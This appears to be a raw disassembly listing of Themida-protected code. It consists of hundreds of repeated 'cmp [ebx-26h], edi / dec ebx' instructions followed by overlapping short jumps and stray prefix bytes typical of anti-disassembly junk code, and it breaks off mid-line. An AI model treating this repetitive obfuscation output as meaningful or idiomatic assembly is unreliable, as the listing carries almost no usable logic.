cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E50j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E54j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E58j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E5Cj dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E60j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E64j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E68j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E6Cj dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E70j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E74j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E78j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E7Cj dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E80j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E84j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E88j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E8Cj dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E90j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E94j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E98j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E9Cj dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607EA0j dec ebx cmp [ebx-26h], edi ; CODE XREF: Themida_:00607EA4j dec ebx movsd db 66h, 26h ; CODE XREF: Themida_:00607EA8j jb short near ptr loc_607DF7+2 db 66h, 26h ; CODE XREF: Themida_:00607EACj jb short near ptr loc_607DFB+2 db 66h, 26h ; CODE XREF: Themida_:00607EB0j jb short near ptr loc_607DFF+2 db 66h, 26h ; CODE XREF: Themida_:00607EB4j jb short near ptr loc_607E03+2 db 66h, 26h ; CODE XREF: Themida_:00607EB8j jb short near ptr loc_607E07+2 db 66h, 26h ; CODE XREF: Themida_:00607EBCj jb short near ptr loc_607E0B+2 db 66h, 26h ; CODE XREF: Themida_:00607EC0j jb short near ptr loc_607E0F+2 db 66h, 26h ; CODE XREF: Themida_:00607EC4j jb short near ptr loc_607E13+2 db 66h, 26h ; CODE XREF: Themida_:00607EC8j jb short near ptr loc_607E17+2 db 66h, 26h ; CODE XREF: Themida_:00607ECCj jb short near ptr loc_607E1B+2 db 66h, 26h ; CODE XREF: Themida_:00607ED0j jb short near ptr loc_607E1F+2 db 66h, 26h ; CODE XREF: Themida_:00607ED4j jb short near ptr loc_607E23+2 db 66h, 26h ; CODE XREF: Themida_:00607ED8j jb short near ptr loc_607E27+2 db 66h, 26h ; CODE XREF: Themida_:00607EDCj jb short near ptr loc_607E2B+2 db 66h, 26h ; CODE XREF: Themida_:00607EE0j jb short near ptr loc_607E2F+2 db 66h, 26h ; CODE XREF: Themida_:00607EE4j jb short near ptr loc_607E33+2 db 66h, 26h ; CODE XREF: Themida_:00607EE8j jb short near ptr loc_607E37+2 db 66h, 26h ; CODE XREF: Themida_:00607EECj jb short near ptr loc_607E3B+2 db 66h, 26h ; CODE XREF: Themida_:00607EF0j jb short near ptr loc_607E3F+2 db 66h, 26h ; CODE XREF: Themida_:00607EF4j jb short near ptr loc_607E43+2 db 66h, 26h ; CODE XREF: Themida_:00607EF8j jb short near ptr loc_607E47+2 db 66h, 26h ; CODE XREF: Themida_:00607EFCj jb short near ptr loc_607E4B+2 db 66h, 26h ; CODE XREF: Themida_:00607F00j jb short near ptr loc_607E50+1 db 66h, 26h ; CODE XREF: Themida_:00607F04j jb short near ptr loc_607E54+1 db 66h, 26h ; CODE XREF: Themida_:00607F08j jb short near ptr loc_607E58+1 db 66h, 26h ; CODE XREF: Themida_:00607F0Cj jb short near ptr loc_607E5C+1 db 66h, 26h ; CODE XREF: Themida_:00607F10j jb short near ptr loc_607E60+1 db 66h, 26h ; CODE XREF: Themida_:00607F14j jb short near ptr loc_607E64+1 db 66h, 26h ; CODE XREF: Themida_:00607F18j jb short near ptr loc_607E68+1 db 66h, 26h ; CODE XREF: Themida_:00607F1Cj jb short near ptr loc_607E6C+1 db 66h, 26h ; CODE XREF: Themida_:00607F20j jb short near ptr loc_607E70+1 db 66h, 26h ; CODE XREF: Themida_:00607F24j jb short near ptr loc_607E74+1 db 66h, 26h ; CODE XREF: Themida_:00607F28j jb short near ptr loc_607E78+1 db 66h, 26h ; CODE XREF: Themida_:00607F2Cj jb short near ptr loc_607E7C+1 db 66h, 26h ; CODE XREF: Themida_:00607F30j jb short near ptr loc_607E80+1 db 66h, 26h ; CODE XREF: Themida_:00607F34j jb short near ptr loc_607E84+1 db 66h, 26h ; CODE XREF: Themida_:00607F38j jb short near ptr loc_607E88+1 db 66h, 26h ; CODE XREF: Themida_:00607F3Cj jb short near ptr loc_607E8C+1 db 66h, 26h ; CODE XREF: Themida_:00607F40j jb short near ptr loc_607E90+1 db 66h, 26h ; CODE XREF: Themida_:00607F44j jb short near ptr loc_607E94+1 db 66h, 26h ; CODE XREF: Themida_:00607F48j jb short near ptr loc_607E98+1 db 66h, 26h ; CODE XREF: Themida_:00607F4Cj jb short near ptr loc_607E9C+1 db 66h, 26h ; CODE XREF: Themida_:00607F50j jb short near ptr loc_607EA0+1 db 66h, 26h ; CODE XREF: Themida_:00607F54j jb short near ptr loc_607EA4+1 db 66h, 26h ; CODE XREF: Themida_:00607F58j jb short near ptr loc_607EA8+1 db 66h, 26h ; CODE XREF: Themida_:00607F5Cj jb short near ptr loc_607EAC+1 db 66h, 26h ; CODE XREF: Themida_:00607F60j jb short near ptr loc_607EB0+1 db 66h, 26h ; CODE XREF: Themida_:00607F64j jb short near ptr loc_607EB4+1 db 66h, 26h ; CODE XREF: Themida_:00607F68j jb short near ptr loc_607EB8+1 db 66h, 26h ; CODE XREF: Themida_:00607F6Cj jb short near ptr loc_607EBC+1 db 66h, 26h ; CODE XREF: Themida_:00607F70j jb short near ptr loc_607EC0+1 db 66h, 26h ; CODE XREF: Themida_:00607F74j jb short near ptr loc_607EC4+1 db 66h, 26h ; CODE XREF: Themida_:00607F78j jb short near ptr loc_607EC8+1 db 66h, 26h ; CODE XREF: Themida_:00607F7Cj jb short near ptr loc_607ECC+1 db 66h, 26h ; CODE XREF: Themida_:00607F80j jb short near ptr loc_607ED0+1 db 66h, 26h ; CODE XREF: Themida_:00607F84j jb short near ptr loc_607ED4+1 db 66h, 26h ; CODE XREF: Themida_:00607F88j jb short near ptr loc_607ED8+1 db 66h, 26h ; CODE XREF: Themida_:00607F8Cj jb short near ptr loc_607EDC+1 db 66h, 26h ; CODE XREF: Themida_:00607F90j jb short near ptr loc_607EE0+1 db 66h, 26h ; CODE XREF: Themida_:00607F94j jb short near ptr loc_607EE4+1 db 66h, 26h ; CODE XREF: Themida_:00607F98j jb short near ptr loc_607EE8+1 db 66h, 26h ; CODE XREF: Themida_:00607F9Cj jb short near ptr loc_607EEC+1 db 66h, 26h ; CODE XREF: Themida_:00607FA0j jb short near ptr loc_607EF0+1 db 66h, 26h ; CODE XREF: Themida_:00607FA4j jb short near ptr loc_607EF4+1 db 66h, 26h ; CODE XREF: Themida_:00607FA8j jb short near ptr loc_607EF8+1 db 66h, 26h ; CODE XREF: Themida_:00607FACj jb short near ptr loc_607EFC+1 db 66h, 26h ; CODE XREF: Themida_:00607FB0j jb short near ptr loc_607F00+1 db 66h, 26h ; CODE XREF: Themida_:00607FB4j jb short near ptr loc_607F04+1 db 66h, 26h ; CODE XREF: Themida_:00607FB8j jb short near ptr loc_607F08+1 db 66h, 26h ; CODE XREF: Themida_:00607FBCj jb short near ptr loc_607F0C+1 db 66h, 26h ; CODE XREF: Themida_:00607FC0j jb short near ptr loc_607F10+1 db 66h, 26h ; CODE XREF: Themida_:00607FC4j jb short near ptr loc_607F14+1 db 66h, 26h ; CODE XREF: Themida_:00607FC8j jb short near ptr loc_607F18+1 db 66h, 26h ; CODE XREF: Themida_:00607FCCj jb short near ptr loc_607F1C+1 db 66h, 26h ; CODE XREF: Themida_:00607FD0j jb short near ptr loc_607F20+1 db 66h, 26h ; CODE XREF: Themida_:00607FD4j jb short near ptr loc_607F24+1 db 66h, 26h ; CODE XREF: Themida_:00607FD8j jb short near ptr loc_607F28+1 db 66h, 26h ; CODE XREF: Themida_:00607FDCj jb short near ptr loc_607F2C+1 db 66h, 26h ; CODE XREF: Themida_:00607FE0j jb short near ptr loc_607F30+1 db 66h, 26h ; CODE XREF: Themida_:00607FE4j jb short near ptr loc_607F34+1 db 66h, 26h ; CODE XREF: Themida_:00607FE8j jb short near ptr loc_607F38+1 db 66h, 26h ; CODE XREF: Themida_:00607FECj jb short near ptr loc_607F3C+1 db 66h, 26h ; CODE XREF: Themida_:00607FF0j jb short near ptr loc_607F40+1 db 66h, 26h ; CODE XREF: Themida_:00607FF4j jb short near ptr loc_607F44+1 db 66h, 26h ; CODE XREF: Themida_:00607FF8j jb short near ptr loc_607F48+1 db 66h, 26h ; CODE XREF: Themida_:00607FFCj jb short near ptr loc_607F4C+1 db 66h, 26h ; CODE XREF: Themida_:00608000j jb short near ptr loc_607F50+1 db 66h, 26h ; CODE XREF: Themida_:00608004j jb short near ptr loc_607F54+1 db 66h, 26h ; CODE XREF: Themida_:00608008j jb short near ptr loc_607F58+1 db 66h, 26h ; CODE XREF: Themida_:0060800Cj jb short near ptr loc_607F5C+1 db 66h, 26h ; CODE XREF: Themida_:00608010j jb short near ptr loc_607F60+1 db 66h, 26h ; CODE XREF: Themida_:00608014j jb short near ptr loc_607F64+1 db 66h, 26h ; CODE XREF: Themida_:00608018j jb short near ptr loc_607F68+1 db 66h, 26h ; CODE XREF: Themida_:0060801Cj jb short near ptr loc_607F6C+1 db 66h, 26h ; CODE XREF: Themida_:00608020j jb short near ptr loc_607F70+1 db 66h, 26h ; CODE XREF: Themida_:00608024j jb short near ptr loc_607F74+1 db 66h, 26h jb short near ptr loc_607F78+1 db 66h, 26h jb short near ptr loc_607F7C+1 db 66h, 26h jb short near ptr loc_607F80+1 db 66h, 26h jb short near ptr loc_607F84+1 db 66h, 26h jb short near ptr loc_607F88+1 db 66h, 26h jb short near ptr loc_607F8C+1 db 66h, 26h jb short near ptr loc_607F90+1 db 66h, 26h jb short near ptr loc_607F94+1 db 66h, 26h jb short near ptr loc_607F98+1 db 66h, 26h jb short near ptr loc_607F9C+1 db 66h, 26h jb short near ptr loc_607FA0+1 db 66h, 26h jb short near ptr loc_607FA4+1 db 66h, 26h jb short near ptr loc_607FA8+1 db 66h, 26h jb short near ptr loc_607FAC+1 db 66h, 26h jb short near ptr loc_607FB0+1 db 66h, 26h jb short near ptr loc_607FB4+1 db 66h, 26h jb short near ptr loc_607FB8+1 db 66h, 26h jb short near ptr loc_607FBC+1 db 66h, 26h jb short near ptr loc_607FC0+1 db 